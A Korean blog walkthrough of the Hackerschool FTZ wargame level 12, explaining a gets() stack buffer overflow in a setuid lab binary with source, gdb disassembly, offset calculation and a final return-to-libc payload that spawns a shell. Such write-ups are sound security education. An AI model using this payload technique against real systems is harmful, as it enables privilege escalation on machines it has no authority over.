본문 바로가기

Wargame & CTF/Hackerschool FTZ

[해커스쿨] FTZ LEVEL12

[해커스쿨] FTZ LEVEL12 문제 풀이



ㅁ 문제 요약


 문제 유형

System Hacking

 문제 타입

Linux 

 문제 난이도


ㅁ 상세분석


[그림 1] 문제 내용


LEVEL12 계정으로 로그인 하고 hint 파일 내용을 소스코드를 보여주고 /home/level12 폴더에 setuid가 걸린 attackme 파일이 존재한다. 소스 코드에서 버퍼 오버플로우 취약점이 발생한다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

int main( void )

{

        char str[256];

 

        setreuid( 3093, 3093 );

        printf( "¹®ÀåÀ» ÀÔ·ÂÇϼ¼¿ä.\n" );

        gets( str );

        printf( "%s\n", str );

}

[그림 2] 문제 소스코드 분석


gets함수를 이용해서 버퍼 경계를 확인하지 않고 사용하기 때문에 버퍼 오버플로우 취약점이 발생한다.


Dump of assembler code for function main:

0x08048470 <main+0>:    push   ebp

0x08048471 <main+1>:    mov    ebp,esp

0x08048473 <main+3>:    sub    esp,0x108

0x08048479 <main+9>:    sub    esp,0x8

0x0804847c <main+12>:   push   0xc15

0x08048481 <main+17>:   push   0xc15

0x08048486 <main+22>:   call   0x804835c <setreuid>

0x0804848b <main+27>:   add    esp,0x10

0x0804848e <main+30>:   sub    esp,0xc

0x08048491 <main+33>:   push   0x8048538

0x08048496 <main+38>:   call   0x804834c <printf>

0x0804849b <main+43>:   add    esp,0x10

0x0804849e <main+46>:   sub    esp,0xc

0x080484a1 <main+49>:   lea    eax,[ebp-264]

0x080484a7 <main+55>:   push   eax

0x080484a8 <main+56>:   call   0x804831c <gets>

0x080484ad <main+61>:   add    esp,0x10

0x080484b0 <main+64>:   sub    esp,0x8

0x080484b3 <main+67>:   lea    eax,[ebp-264]

0x080484b9 <main+73>:   push   eax

0x080484ba <main+74>:   push   0x804854c

0x080484bf <main+79>:   call   0x804834c <printf>

0x080484c4 <main+84>:   add    esp,0x10

0x080484c7 <main+87>:   leave

0x080484c8 <main+88>:   ret

0x080484c9 <main+89>:   lea    esi,[esi]

0x080484cc <main+92>:   nop

0x080484cd <main+93>:   nop

0x080484ce <main+94>:   nop

0x080484cf <main+95>:   nop

End of assembler dump.

[그림 3] main 함수 disassembly


main 함수를 분석하면 빨간색 부분이 문제 풀이의 핵심 부분이다. gets 함수를 사용해서 입력 값을 받는데 버퍼의 경계를 확인하지 않고 사용하기 때문에 문제가 발생한다.


[그림 4] SFP/RET 확인 및 거리 계산


0x08048471 브레이크 포인트를 걸고 A 문자 256개를 입력한다. 브레이크 포인트에서 멈추면 esp를 확인하면 0xbfffe3d8 값은 SFP를 의미하고 0x42015574 값은 RET를 의미한다. 그리고 0x080484ad에 브레이크 포인트를 걸고 c를 입력해서 계속 진행한다. 0x080484ad에서 멈추게 되는데 다시 esp를 확인한다. 0x41 값은 A를 의미한다. 빨간색 부분이 SFP와 RET를 의미하는데 거리를 계산하면 SFP를 포함해서 256+12 = 268 바이트를 덮어쓰고 남은 RET 4바이트는 system 함수를 넣어 RTL 공격을 수행하면 된다.


[그림 5] system 함수 주소 구하기


gdb에서 print 명령어를 사용해서 system 함수 주소를 구한다.


[그림 6] /bin/sh 문자열 주소 구하기


system 함수에서 사용하는 /bin/sh 문자열 주소를 구한다.


[그림 7] 공격 코드 구조


공격 코드를 연결해보면 system 함수 주소를 RET 위치에 넣어주고 4바이트 dummy 값을 넣어주고 /bin/sh 값을 넘겨준다. 

최종 공격코드는 아래와 같다.

공격 코드: (python -c 'print "A"*268+"\xc0\xf2\x03\x42"+"AAAA"+"\xa4\x7e\x12\x42"';cat) | ./attackme


[그림 8] 문제 결과


공격 코드를 입력하면 LEVEL13 권한의 shell을 획득하고 my-pass 입력하면 LEVEL13 계정의 패스워드를 획득할 수 있다.



'Wargame & CTF > Hackerschool FTZ' 카테고리의 다른 글

[해커스쿨] FTZ LEVEL14  (0) 2016.01.05
[해커스쿨] FTZ LEVEL13  (0) 2016.01.04
[해커스쿨] FTZ LEVEL11  (0) 2016.01.04
[해커스쿨] FTZ LEVEL10  (0) 2015.12.31
[해커스쿨] FTZ LEVEL9  (0) 2015.12.30